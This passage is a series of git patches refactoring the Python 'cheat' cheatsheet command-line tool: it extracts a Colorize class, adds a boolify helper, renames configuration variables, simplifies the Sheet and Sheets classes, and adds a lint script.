import Utils - class Sheet: - def __init__(self, sheets, utils, editor): + def __init__(self, sheets, editor): self._sheets = sheets - self._utils = utils self._editor = editor def copy(self, current_sheet_path, new_sheet_path): diff --git a/cheat/utils.py b/cheat/utils.py index fad1453..b865756 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -1,6 +1,4 @@ from __future__ import print_function -import os -import subprocess import sys From 878d7e7e1b43dcbd2fc85f16312b4bbd0a842120 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Thu, 31 Jan 2019 17:40:53 -0500 Subject: [PATCH 79/97] Refactored (4) Improved handling of edge-cases in `configuration.py`. --- cheat/configuration.py | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) diff --git a/cheat/configuration.py b/cheat/configuration.py index da3ed7d..1ad7ad4 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -1,6 +1,6 @@ -import os from cheat.utils import Utils import json +import os class Configuration: @@ -29,16 +29,11 @@ class Configuration: # self.cheat_colors self.cheat_colors = self._select([ - os.environ.get('CHEAT_COLORS'), - os.environ.get('CHEATCOLORS'), - config.get('CHEAT_COLORS'), + self._boolify(os.environ.get('CHEAT_COLORS')), + self._boolify(os.environ.get('CHEATCOLORS')), + self._boolify(config.get('CHEAT_COLORS')), True, ]) - # convert strings to bool as necessary - if (isinstance(self.cheat_colors, str)): - self.cheat_colors = True \ - if self.cheat_colors.strip().lower() == 'true' \ - else False # self.cheat_default_dir self.cheat_default_dir = self._select([ @@ -62,6 +57,8 @@ class Configuration: config.get('CHEAT_HIGHLIGHT'), False, ]) + if (self.cheat_highlight.strip().lower() == "false"): + self.cheat_highlight = False # self.cheat_path self.cheat_path = self._select([ @@ -71,6 +68,14 @@ class Configuration: '/usr/share/cheat', ]) + def _boolify(self, value): + # if `value` is not a string, return it as-is + if not isinstance(value, str): + return value + + # otherwise, convert "true" and "false" to Boolean counterparts + return value.strip().lower() == "true" + def _read_config_file(self, path): # Reads configuration file and returns list of set variables config = {} From 7c4fc546816263833bc3867e6ccd2352675666f3 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Thu, 31 Jan 2019 17:43:21 -0500 Subject: [PATCH 80/97] Refactored (5) - Extracted `Colorize` class out of `Util` class. (The latter now only contains static methods.) - Renamed methods in `Colorize` class for improved clarity. - Refactored as necessary to accommodate the changes above. --- bin/cheat | 11 +++++---- cheat/colorize.py | 61 +++++++++++++++++++++++++++++++++++++++++++++++ cheat/editor.py | 1 + cheat/sheet.py | 1 + cheat/sheets.py | 6 ++--- cheat/utils.py | 56 ------------------------------------------- 6 files changed, 72 insertions(+), 64 deletions(-) create mode 100644 cheat/colorize.py diff --git a/bin/cheat b/bin/cheat index 7358e93..a1a5aa6 100755 --- a/bin/cheat +++ b/bin/cheat @@ -36,11 +36,11 @@ Examples: # require the dependencies from __future__ import print_function +from cheat.colorize import Colorize from cheat.configuration import Configuration from cheat.editor import Editor from cheat.sheet import Sheet from cheat.sheets import Sheets -from cheat.utils import Utils from docopt import docopt if __name__ == '__main__': @@ -54,8 +54,9 @@ if __name__ == '__main__': # bootsrap editor = Editor(config) - sheets = Sheets(config) - utils = Utils(config) + colorize = Colorize(config) + + sheets = Sheets(config, colorize) sheet = Sheet(sheets, editor) # list directories @@ -72,8 +73,8 @@ if __name__ == '__main__': # search among the cheatsheets elif options['--search']: - print(utils.colorize(sheets.search(options[''])), end="") + print(colorize.syntax(sheets.search(options[''])), end="") # print the cheatsheet else: - print(utils.colorize(sheet.read(options[''])), end="") + print(colorize.syntax(sheet.read(options[''])), end="") diff --git a/cheat/colorize.py b/cheat/colorize.py new file mode 100644 index 0000000..f9ca6ef --- /dev/null +++ b/cheat/colorize.py @@ -0,0 +1,61 @@ +from __future__ import print_function +import sys + + +class Colorize: + + def __init__(self, config): + self._config = config + + def search(self, needle, haystack): + """ Colorizes search results matched within a line """ + + # if a highlight color is not configured, exit early + if not self._config.cheat_highlight: + return haystack + + # otherwise, attempt to import the termcolor library + try: + from termcolor import colored + + # if the import fails, return uncolored text + except ImportError: + return haystack + + # if the import succeeds, colorize the needle in haystack + return haystack.replace(needle, colored(needle, self._config.cheat_highlight)) + + def syntax(self, sheet_content): + """ Applies syntax highlighting """ + + # only colorize if cheat_colors is true, and stdout is a tty + if (self._config.cheat_colors is False or not sys.stdout.isatty()): + return sheet_content + + # don't attempt to colorize an empty cheatsheet + if not sheet_content.strip(): + return "" + + # otherwise, attempt to import the pygments library + try: + from pygments import highlight + from pygments.lexers import get_lexer_by_name + from pygments.formatters import TerminalFormatter + + # if the import fails, return uncolored text + except ImportError: + return sheet_content + + # otherwise, attempt to colorize + first_line = sheet_content.splitlines()[0] + lexer = get_lexer_by_name('bash') + + # apply syntax-highlighting if the first line is a code-fence + if first_line.startswith('```'): + sheet_content = '\n'.join(sheet_content.split('\n')[1:-2]) + try: + lexer = get_lexer_by_name(first_line[3:]) + except Exception: + pass + + return highlight(sheet_content, lexer, TerminalFormatter()) diff --git a/cheat/editor.py b/cheat/editor.py index cb35bd9..0da2fc4 100644 --- a/cheat/editor.py +++ b/cheat/editor.py @@ -1,4 +1,5 @@ from __future__ import print_function +from cheat.utils import Utils import subprocess diff --git a/cheat/sheet.py b/cheat/sheet.py index cf7fbfe..2221084 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -1,3 +1,4 @@ +from cheat.utils import Utils import io import os import shutil diff --git a/cheat/sheets.py b/cheat/sheets.py index f45c225..4bbcdde 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -6,9 +6,9 @@ from cheat.utils import Utils class Sheets: - def __init__(self, config): + def __init__(self, config, colorize): self._config = config - self._utils = Utils(config) + self._colorize = colorize; def default_path(self): """ Returns the default cheatsheet path """ @@ -95,7 +95,7 @@ class Sheets: match = '' for line in io.open(cheatsheet[1], encoding='utf-8'): if term in line: - match += ' ' + self._utils.highlight(term, line) + match += ' ' + self._colorize.search(term, line) if match != '': result += cheatsheet[0] + ":\n" + match + "\n" diff --git a/cheat/utils.py b/cheat/utils.py index b865756..01bd8a3 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -4,62 +4,6 @@ import sys class Utils: - def __init__(self, config): - self._config = config - - def highlight(self, needle, haystack): - """ Highlights a search term matched within a line """ - - # if a highlight color is not configured, exit early - if not self._config.cheat_highlight: - return haystack - - # otherwise, attempt to import the termcolor library - try: - from termcolor import colored - - # if the import fails, return uncolored text - except ImportError: - return haystack - - # if the import succeeds, colorize the needle in haystack - return haystack.replace(needle, colored(needle, self._config.cheat_highlight)) - - def colorize(self, sheet_content): - """ Colorizes cheatsheet content if so configured """ - - # only colorize if cheat_colors is true, and stdout is a tty - if (self._config.cheat_colors is False or not sys.stdout.isatty()): - return sheet_content - - # don't attempt to colorize an empty cheatsheet - if not sheet_content.strip(): - return "" - - # otherwise, attempt to import the pygments library - try: - from pygments import highlight - from pygments.lexers import get_lexer_by_name - from pygments.formatters import TerminalFormatter - - # if the import fails, return uncolored text - except ImportError: - return sheet_content - - # otherwise, attempt to colorize - first_line = sheet_content.splitlines()[0] - lexer = get_lexer_by_name('bash') - - # apply syntax-highlighting if the first line is a code-fence - if first_line.startswith('```'): - sheet_content = '\n'.join(sheet_content.split('\n')[1:-2]) - try: - lexer = get_lexer_by_name(first_line[3:]) - except Exception: - pass - - return highlight(sheet_content, lexer, TerminalFormatter()) - @staticmethod def die(message): """ Prints a message to stderr and then terminates """ From 145a81dcd6054830ae55292f1db3be1cec98a9b4 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Thu, 31 Jan 2019 17:53:34 -0500 Subject: [PATCH 81/97] Var renames Replaced more references to deprecated envvar names to their newer counterparts. --- bin/cheat | 2 +- cheat/sheet.py | 4 ++-- cheat/sheets.py | 6 +++--- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/bin/cheat b/bin/cheat index a1a5aa6..a41647b 100755 --- a/bin/cheat +++ b/bin/cheat @@ -13,7 +13,7 @@ Usage: cheat -v Options: - -d --directories List directories on CHEATPATH + -d --directories List directories on $CHEAT_PATH -e --edit Edit cheatsheet -l --list List cheatsheets -s --search Search cheatsheets for diff --git a/cheat/sheet.py b/cheat/sheet.py index 2221084..94c7630 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -13,12 +13,12 @@ class Sheet: def copy(self, current_sheet_path, new_sheet_path): """ Copies a sheet to a new path """ - # attempt to copy the sheet to DEFAULT_CHEAT_DIR + # attempt to copy the sheet to CHEAT_DEFAULT_DIR try: shutil.copy(current_sheet_path, new_sheet_path) # fail gracefully if the cheatsheet cannot be copied. This can happen - # if DEFAULT_CHEAT_DIR does not exist + # if CHEAT_DEFAULT_DIR does not exist except IOError: Utils.die('Could not copy cheatsheet for editing.') diff --git a/cheat/sheets.py b/cheat/sheets.py index 4bbcdde..2141c1a 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -67,15 +67,15 @@ class Sheets: self.default_path(), ] - # merge the CHEATPATH paths into the sheet_paths + # merge the CHEAT_PATH paths into the sheet_paths if self._config.cheat_path: for path in self._config.cheat_path.split(os.pathsep): if os.path.isdir(path): sheet_paths.append(path) if not sheet_paths: - Utils.die('The DEFAULT_CHEAT_DIR dir does not exist ' - + 'or the CHEATPATH is not set.') + Utils.die('The CHEAT_DEFAULT_DIR dir does not exist ' + + 'or the CHEAT_PATH is not set.') return sheet_paths From d61e4e7c34fabe6179c8447995d3a9c9dd5a5e27 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Thu, 31 Jan 2019 18:08:19 -0500 Subject: [PATCH 82/97] Refactored (6) Standardized (mostly) how the various classes are initialized. --- bin/cheat | 7 ++----- cheat/sheet.py | 5 +++-- cheat/sheets.py | 8 ++++---- 3 files changed, 9 insertions(+), 11 deletions(-) diff --git a/bin/cheat b/bin/cheat index a41647b..80cd5f3 100755 --- a/bin/cheat +++ b/bin/cheat @@ -38,7 +38,6 @@ Examples: from __future__ import print_function from cheat.colorize import Colorize from cheat.configuration import Configuration -from cheat.editor import Editor from cheat.sheet import Sheet from cheat.sheets import Sheets from docopt import docopt @@ -53,12 +52,10 @@ if __name__ == '__main__': config.validate() # bootsrap - editor = Editor(config) + sheets = Sheets(config) + sheet = Sheet(config, sheets) colorize = Colorize(config) - sheets = Sheets(config, colorize) - sheet = Sheet(sheets, editor) - # list directories if options['--directories']: print("\n".join(sheets.paths())) diff --git a/cheat/sheet.py b/cheat/sheet.py index 94c7630..e06ace0 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -1,3 +1,4 @@ +from cheat.editor import Editor from cheat.utils import Utils import io import os @@ -6,9 +7,9 @@ import shutil class Sheet: - def __init__(self, sheets, editor): + def __init__(self, config, sheets): self._sheets = sheets - self._editor = editor + self._editor = Editor(config) def copy(self, current_sheet_path, new_sheet_path): """ Copies a sheet to a new path """ diff --git a/cheat/sheets.py b/cheat/sheets.py index 2141c1a..2816d4b 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -1,14 +1,14 @@ +from cheat.colorize import Colorize +from cheat.utils import Utils import io import os -from cheat.utils import Utils - class Sheets: - def __init__(self, config, colorize): + def __init__(self, config): self._config = config - self._colorize = colorize; + self._colorize = Colorize(config); def default_path(self): """ Returns the default cheatsheet path """ From e2b57282833831c3acb10d7a88ac5ae64eab07ed Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Thu, 31 Jan 2019 20:03:10 -0500 Subject: [PATCH 83/97] Refactored (7) Refactored for general code-clarity, with particular focus on removing needless abstraction within `Sheet` and `Sheets` classes. --- bin/cheat | 29 ++++++++++++++++- cheat/configuration.py | 17 +++++++--- cheat/sheet.py | 9 ++--- cheat/sheets.py | 74 ++++++++++++++---------------------------- 4 files changed, 69 insertions(+), 60 deletions(-) diff --git a/bin/cheat b/bin/cheat index 80cd5f3..45524ac 100755 --- a/bin/cheat +++ b/bin/cheat @@ -41,6 +41,7 @@ from cheat.configuration import Configuration from cheat.sheet import Sheet from cheat.sheets import Sheets from docopt import docopt +import os if __name__ == '__main__': @@ -51,6 +52,32 @@ if __name__ == '__main__': config = Configuration() config.validate() + # create the CHEAT_DEFAULT_DIR if it does not exist + if not os.path.isdir(config.cheat_default_dir): + try: + os.mkdir(config.cheat_default_dir) + + except OSError: + Utils.die("%s %s %s" % ( + 'Could not create CHEAT_DEFAULT_DIR (', + config.cheat_default_dir, + ')') + ) + + # assert that the CHEAT_DEFAULT_DIR is readable and writable + if not os.access(config.cheat_default_dir, os.R_OK): + Utils.die("%s %s %s" % ( + 'The CHEAT_DEFAULT_DIR (', + config.cheat_default_dir, + ') is not readable') + ) + if not os.access(config.cheat_default_dir, os.W_OK): + Utils.die("%s %s %s" % ( + 'The CHEAT_DEFAULT_DIR (', + config.cheat_default_dir, + ') is not writeable') + ) + # bootsrap sheets = Sheets(config) sheet = Sheet(config, sheets) @@ -58,7 +85,7 @@ if __name__ == '__main__': # list directories if options['--directories']: - print("\n".join(sheets.paths())) + print("\n".join(sheets.directories())) # list cheatsheets elif options['--list']: diff --git a/cheat/configuration.py b/cheat/configuration.py index 1ad7ad4..3d8a8e5 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -6,10 +6,14 @@ class Configuration: def __init__(self): # compute the location of the config files - config_file_path_global = os.environ.get('CHEAT_GLOBAL_CONF_PATH') \ - or '/etc/cheat' - config_file_path_local = (os.environ.get('CHEAT_LOCAL_CONF_PATH') \ - or os.path.expanduser('~/.config/cheat/cheat')) + config_file_path_global = self._select([ + os.environ.get('CHEAT_GLOBAL_CONF_PATH'), + '/etc/cheat', + ]) + config_file_path_local = self._select([ + os.environ.get('CHEAT_LOCAL_CONF_PATH'), + os.path.expanduser('~/.config/cheat/cheat'), + ]) # attempt to read the global config file config = {} @@ -39,7 +43,10 @@ class Configuration: self.cheat_default_dir = self._select([ os.environ.get('CHEAT_DEFAULT_DIR'), os.environ.get('DEFAULT_CHEAT_DIR'), - '~/.cheat', + # TODO: XDG home? + os.path.expanduser( + os.path.expandvars(os.path.join('~', '.cheat')) + ), ]) # self.cheat_editor diff --git a/cheat/sheet.py b/cheat/sheet.py index e06ace0..e33df5a 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -8,8 +8,9 @@ import shutil class Sheet: def __init__(self, config, sheets): - self._sheets = sheets + self._config = config self._editor = Editor(config) + self._sheets = sheets def copy(self, current_sheet_path, new_sheet_path): """ Copies a sheet to a new path """ @@ -34,7 +35,7 @@ class Sheet: # default path before editing elif self.exists(sheet) and not self.exists_in_default_path(sheet): self.copy(self.path(sheet), - os.path.join(self._sheets.default_path(), sheet)) + os.path.join(self._config.cheat_default_dir, sheet)) self.edit(sheet) # if it exists and is in the default path, then just open it @@ -43,7 +44,7 @@ class Sheet: def create(self, sheet): """ Creates a cheatsheet """ - new_sheet_path = os.path.join(self._sheets.default_path(), sheet) + new_sheet_path = os.path.join(self._config.cheat_default_dir, sheet) self._editor.open(new_sheet_path) def edit(self, sheet): @@ -57,7 +58,7 @@ class Sheet: def exists_in_default_path(self, sheet): """ Predicate that returns true if the sheet exists in default_path""" - default_path_sheet = os.path.join(self._sheets.default_path(), sheet) + default_path_sheet = os.path.join(self._config.cheat_default_dir, sheet) return (sheet in self._sheets.get() and os.access(default_path_sheet, os.R_OK)) diff --git a/cheat/sheets.py b/cheat/sheets.py index 2816d4b..d83d832 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -10,47 +10,25 @@ class Sheets: self._config = config self._colorize = Colorize(config); - def default_path(self): - """ Returns the default cheatsheet path """ + # Assembles a dictionary of cheatsheets as name => file-path + self._sheets = {} + sheet_paths = [ + config.cheat_default_dir + ] - # determine the default cheatsheet dir - # TODO: should probably rename `CHEAT_DEFAULT_DIR` to - # `CHEAT_USER_DIR` or something for clarity. - default_sheets_dir = (self._config.cheat_default_dir or - os.path.join('~', '.cheat')) - default_sheets_dir = os.path.expanduser( - os.path.expandvars(default_sheets_dir)) + # merge the CHEAT_PATH paths into the sheet_paths + if config.cheat_path: + for path in config.cheat_path.split(os.pathsep): + if os.path.isdir(path): + sheet_paths.append(path) - # create the CHEAT_DEFAULT_DIR if it does not exist - if not os.path.isdir(default_sheets_dir): - try: - # @kludge: unclear on why this is necessary - os.umask(0000) - os.mkdir(default_sheets_dir) - - except OSError: - Utils.die('Could not create CHEAT_DEFAULT_DIR') - - # assert that the CHEAT_DEFAULT_DIR is readable and writable - if not os.access(default_sheets_dir, os.R_OK): - Utils.die('The CHEAT_DEFAULT_DIR (' - + default_sheets_dir - + ') is not readable.') - if not os.access(default_sheets_dir, os.W_OK): - Utils.die('The CHEAT_DEFAULT_DIR (' - + default_sheets_dir - + ') is not writable.') - - # return the default dir - return default_sheets_dir - - def get(self): - """ Assembles a dictionary of cheatsheets as name => file-path """ - cheats = {} + if not sheet_paths: + Utils.die('The CHEAT_DEFAULT_DIR dir does not exist ' + + 'or the CHEAT_PATH is not set.') # otherwise, scan the filesystem - for cheat_dir in reversed(self.paths()): - cheats.update( + for cheat_dir in reversed(sheet_paths): + self._sheets.update( dict([ (cheat, os.path.join(cheat_dir, cheat)) for cheat in os.listdir(cheat_dir) @@ -59,26 +37,22 @@ class Sheets: ]) ) - return cheats - - def paths(self): + def directories(self): """ Assembles a list of directories containing cheatsheets """ sheet_paths = [ - self.default_path(), + self._config.cheat_default_dir, ] - # merge the CHEAT_PATH paths into the sheet_paths - if self._config.cheat_path: - for path in self._config.cheat_path.split(os.pathsep): - if os.path.isdir(path): - sheet_paths.append(path) - - if not sheet_paths: - Utils.die('The CHEAT_DEFAULT_DIR dir does not exist ' - + 'or the CHEAT_PATH is not set.') + # merge the CHEATPATH paths into the sheet_paths + for path in self._config.cheat_path.split(os.pathsep): + sheet_paths.append(path) return sheet_paths + def get(self): + """ Returns a dictionary of cheatsheets as name => file-path """ + return self._sheets + def list(self): """ Lists the available cheatsheets """ sheet_list = '' From 5793c1845ae15bc0db4ab0177920cac52cb235b1 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 1 Feb 2019 11:23:38 -0500 Subject: [PATCH 84/97] Refactored (8) Refactored `Sheet` class: - Removed unnecessary indirection and extraneous methods - Renamed some methods to conform to Pythonic conventions - Renamed the `create_or_edit` method to `edit` to be consistent with subcommand name (`--edit`) --- bin/cheat | 2 +- cheat/sheet.py | 82 ++++++++++++++++++++------------------------------ 2 files changed, 33 insertions(+), 51 deletions(-) diff --git a/bin/cheat b/bin/cheat index 45524ac..cceb50b 100755 --- a/bin/cheat +++ b/bin/cheat @@ -93,7 +93,7 @@ if __name__ == '__main__': # create/edit cheatsheet elif options['--edit']: - sheet.create_or_edit(options['']) + sheet.edit(options['']) # search among the cheatsheets elif options['--search']: diff --git a/cheat/sheet.py b/cheat/sheet.py index e33df5a..75b5d9a 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -12,69 +12,51 @@ class Sheet: self._editor = Editor(config) self._sheets = sheets - def copy(self, current_sheet_path, new_sheet_path): - """ Copies a sheet to a new path """ - - # attempt to copy the sheet to CHEAT_DEFAULT_DIR - try: - shutil.copy(current_sheet_path, new_sheet_path) - - # fail gracefully if the cheatsheet cannot be copied. This can happen - # if CHEAT_DEFAULT_DIR does not exist - except IOError: - Utils.die('Could not copy cheatsheet for editing.') - - def create_or_edit(self, sheet): - """ Creates or edits a cheatsheet """ - - # if the cheatsheet does not exist - if not self.exists(sheet): - self.create(sheet) - - # if the cheatsheet exists but not in the default_path, copy it to the - # default path before editing - elif self.exists(sheet) and not self.exists_in_default_path(sheet): - self.copy(self.path(sheet), - os.path.join(self._config.cheat_default_dir, sheet)) - self.edit(sheet) - - # if it exists and is in the default path, then just open it - else: - self.edit(sheet) - - def create(self, sheet): - """ Creates a cheatsheet """ - new_sheet_path = os.path.join(self._config.cheat_default_dir, sheet) - self._editor.open(new_sheet_path) - - def edit(self, sheet): - """ Opens a cheatsheet for editing """ - self._editor.open(self.path(sheet)) - - def exists(self, sheet): + def _exists(self, sheet): """ Predicate that returns true if the sheet exists """ return (sheet in self._sheets.get() and - os.access(self.path(sheet), os.R_OK)) + os.access(self._path(sheet), os.R_OK)) - def exists_in_default_path(self, sheet): + def _exists_in_default_path(self, sheet): """ Predicate that returns true if the sheet exists in default_path""" default_path_sheet = os.path.join(self._config.cheat_default_dir, sheet) return (sheet in self._sheets.get() and os.access(default_path_sheet, os.R_OK)) - def is_writable(self, sheet): - """ Predicate that returns true if the sheet is writeable """ - return (sheet in self._sheets.get() and - os.access(self.path(sheet), os.W_OK)) - - def path(self, sheet): + def _path(self, sheet): """ Returns a sheet's filesystem path """ return self._sheets.get()[sheet] + def edit(self, sheet): + """ Creates or edits a cheatsheet """ + + # if the cheatsheet does not exist + if not self._exists(sheet): + new_sheet_path = os.path.join(self._config.cheat_default_dir, sheet) + self._editor.open(new_sheet_path) + + # if the cheatsheet exists but not in the default_path, copy it to the + # default path before editing + elif self._exists(sheet) and not self._exists_in_default_path(sheet): + try: + shutil.copy(self._path(sheet), + os.path.join(self._config.cheat_default_dir, sheet)) + + # fail gracefully if the cheatsheet cannot be copied. This can happen + # if CHEAT_DEFAULT_DIR does not exist + except IOError: + Utils.die('Could not copy cheatsheet for editing.') + + self._editor.open(self._path(sheet)) + + # if it exists and is in the default path, then just open it + else: + self._editor.open(self._path(sheet)) + def read(self, sheet): """ Returns the contents of the cheatsheet as a String """ - if not self.exists(sheet): + if not self._exists(sheet): Utils.die('No cheatsheet found for ' + sheet) - with io.open(self.path(sheet), encoding='utf-8') as cheatfile: + with io.open(self._path(sheet), encoding='utf-8') as cheatfile: return cheatfile.read() From a657699a24c209e3a1581f1ee544aa2f35ac1f3c Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 1 Feb 2019 11:43:11 -0500 Subject: [PATCH 85/97] Refactored (9) Moved some functionality into the `Util` class. --- cheat/configuration.py | 22 +++++++--------------- cheat/utils.py | 10 ++++++++++ 2 files changed, 17 insertions(+), 15 deletions(-) diff --git a/cheat/configuration.py b/cheat/configuration.py index 3d8a8e5..75251af 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -33,9 +33,9 @@ class Configuration: # self.cheat_colors self.cheat_colors = self._select([ - self._boolify(os.environ.get('CHEAT_COLORS')), - self._boolify(os.environ.get('CHEATCOLORS')), - self._boolify(config.get('CHEAT_COLORS')), + Utils.boolify(os.environ.get('CHEAT_COLORS')), + Utils.boolify(os.environ.get('CHEATCOLORS')), + Utils.boolify(config.get('CHEAT_COLORS')), True, ]) @@ -64,8 +64,8 @@ class Configuration: config.get('CHEAT_HIGHLIGHT'), False, ]) - if (self.cheat_highlight.strip().lower() == "false"): - self.cheat_highlight = False + if isinstance(self.cheat_highlight, str): + Utils.boolify(self.cheat_highlight) # self.cheat_path self.cheat_path = self._select([ @@ -75,18 +75,10 @@ class Configuration: '/usr/share/cheat', ]) - def _boolify(self, value): - # if `value` is not a string, return it as-is - if not isinstance(value, str): - return value - - # otherwise, convert "true" and "false" to Boolean counterparts - return value.strip().lower() == "true" - def _read_config_file(self, path): # Reads configuration file and returns list of set variables config = {} - if (os.path.isfile(path)): + if os.path.isfile(path): with open(path) as config_file: config.update(json.load(config_file)) return config @@ -105,7 +97,7 @@ class Configuration: 'blue', 'magenta', 'cyan', 'white', False ] - if (self.cheat_highlight not in highlights): + if self.cheat_highlight not in highlights: Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', highlights)) return True diff --git a/cheat/utils.py b/cheat/utils.py index 01bd8a3..75f3802 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -14,3 +14,13 @@ class Utils: def warn(message): """ Prints a message to stderr """ print((message), file=sys.stderr) + + @staticmethod + def boolify(value): + """ Type-converts 'true' and 'false' (strings) to Boolean equivalents """ + # if `value` is not a string, return it as-is + if not isinstance(value, str): + return value + + # otherwise, convert "true" and "false" to Boolean counterparts + return value.strip().lower() == "true" From df21731c02bb538df1d89e06c01007c5d6bcdbbd Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 1 Feb 2019 11:43:38 -0500 Subject: [PATCH 86/97] Trivial Python style corrections --- cheat/colorize.py | 2 +- cheat/editor.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/cheat/colorize.py b/cheat/colorize.py index f9ca6ef..89d79f8 100644 --- a/cheat/colorize.py +++ b/cheat/colorize.py @@ -29,7 +29,7 @@ class Colorize: """ Applies syntax highlighting """ # only colorize if cheat_colors is true, and stdout is a tty - if (self._config.cheat_colors is False or not sys.stdout.isatty()): + if self._config.cheat_colors is False or not sys.stdout.isatty(): return sheet_content # don't attempt to colorize an empty cheatsheet diff --git a/cheat/editor.py b/cheat/editor.py index 0da2fc4..c48351f 100644 --- a/cheat/editor.py +++ b/cheat/editor.py @@ -12,7 +12,7 @@ class Editor: """ Determines the user's preferred editor """ # assert that the editor is set - if (not self._config.cheat_editor): + if not self._config.cheat_editor: Utils.die( 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' 'variable or setting in order to create/edit a cheatsheet.' From ba47dc2cbcefad6c02c2983597d6635b57f0ff05 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Fri, 1 Feb 2019 14:42:10 -0500 Subject: [PATCH 87/97] Refactored (10) - Added `ci/lint.sh`, which uses `flake8` to lint the relevant files - Made changes to appease the linter. - Bugfix in `cheat/configuration` (missing dependency) --- bin/cheat | 1 + cheat/__init__.py | 4 ---- cheat/colorize.py | 5 +++-- cheat/configuration.py | 7 +++++-- cheat/sheet.py | 18 ++++++++++-------- cheat/sheets.py | 2 +- cheat/utils.py | 2 +- ci/lint.sh | 9 +++++++++ 8 files changed, 30 insertions(+), 18 deletions(-) create mode 100755 ci/lint.sh diff --git a/bin/cheat b/bin/cheat index cceb50b..3791427 100755 --- a/bin/cheat +++ b/bin/cheat @@ -40,6 +40,7 @@ from cheat.colorize import Colorize from cheat.configuration import Configuration from cheat.sheet import Sheet from cheat.sheets import Sheets +from cheat.utils import Utils from docopt import docopt import os diff --git a/cheat/__init__.py b/cheat/__init__.py index 2560cf4..e69de29 100644 --- a/cheat/__init__.py +++ b/cheat/__init__.py @@ -1,4 +0,0 @@ -from . import sheet -from . import sheets -from . import utils -from . import configuration \ No newline at end of file diff --git a/cheat/colorize.py b/cheat/colorize.py index 89d79f8..7b18beb 100644 --- a/cheat/colorize.py +++ b/cheat/colorize.py @@ -23,14 +23,15 @@ class Colorize: return haystack # if the import succeeds, colorize the needle in haystack - return haystack.replace(needle, colored(needle, self._config.cheat_highlight)) + return haystack.replace(needle, + colored(needle, self._config.cheat_highlight)) def syntax(self, sheet_content): """ Applies syntax highlighting """ # only colorize if cheat_colors is true, and stdout is a tty if self._config.cheat_colors is False or not sys.stdout.isatty(): - return sheet_content + return sheet_content # don't attempt to colorize an empty cheatsheet if not sheet_content.strip(): diff --git a/cheat/configuration.py b/cheat/configuration.py index 75251af..73a5021 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -2,6 +2,7 @@ from cheat.utils import Utils import json import os + class Configuration: def __init__(self): @@ -20,7 +21,8 @@ class Configuration: try: config.update(self._read_config_file(config_file_path_global)) except Exception as e: - Utils.warn('Error while parsing global configuration: ' + e.message) + Utils.warn('Error while parsing global configuration: ' + + e.message) # attempt to read the local config file try: @@ -98,6 +100,7 @@ class Configuration: False ] if self.cheat_highlight not in highlights: - Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', highlights)) + Utils.die("%s %s" % + ('CHEAT_HIGHLIGHT must be one of:', highlights)) return True diff --git a/cheat/sheet.py b/cheat/sheet.py index 75b5d9a..dfd42ff 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -19,9 +19,9 @@ class Sheet: def _exists_in_default_path(self, sheet): """ Predicate that returns true if the sheet exists in default_path""" - default_path_sheet = os.path.join(self._config.cheat_default_dir, sheet) + default_path = os.path.join(self._config.cheat_default_dir, sheet) return (sheet in self._sheets.get() and - os.access(default_path_sheet, os.R_OK)) + os.access(default_path, os.R_OK)) def _path(self, sheet): """ Returns a sheet's filesystem path """ @@ -32,18 +32,20 @@ class Sheet: # if the cheatsheet does not exist if not self._exists(sheet): - new_sheet_path = os.path.join(self._config.cheat_default_dir, sheet) - self._editor.open(new_sheet_path) + new_path = os.path.join(self._config.cheat_default_dir, sheet) + self._editor.open(new_path) # if the cheatsheet exists but not in the default_path, copy it to the # default path before editing elif self._exists(sheet) and not self._exists_in_default_path(sheet): try: - shutil.copy(self._path(sheet), - os.path.join(self._config.cheat_default_dir, sheet)) + shutil.copy( + self._path(sheet), + os.path.join(self._config.cheat_default_dir, sheet) + ) - # fail gracefully if the cheatsheet cannot be copied. This can happen - # if CHEAT_DEFAULT_DIR does not exist + # fail gracefully if the cheatsheet cannot be copied. This can + # happen if CHEAT_DEFAULT_DIR does not exist except IOError: Utils.die('Could not copy cheatsheet for editing.') diff --git a/cheat/sheets.py b/cheat/sheets.py index d83d832..341fcfd 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -8,7 +8,7 @@ class Sheets: def __init__(self, config): self._config = config - self._colorize = Colorize(config); + self._colorize = Colorize(config) # Assembles a dictionary of cheatsheets as name => file-path self._sheets = {} diff --git a/cheat/utils.py b/cheat/utils.py index 75f3802..c481a7c 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -17,7 +17,7 @@ class Utils: @staticmethod def boolify(value): - """ Type-converts 'true' and 'false' (strings) to Boolean equivalents """ + """ Type-converts 'true' and 'false' to Booleans """ # if `value` is not a string, return it as-is if not isinstance(value, str): return value diff --git a/ci/lint.sh b/ci/lint.sh new file mode 100755 index 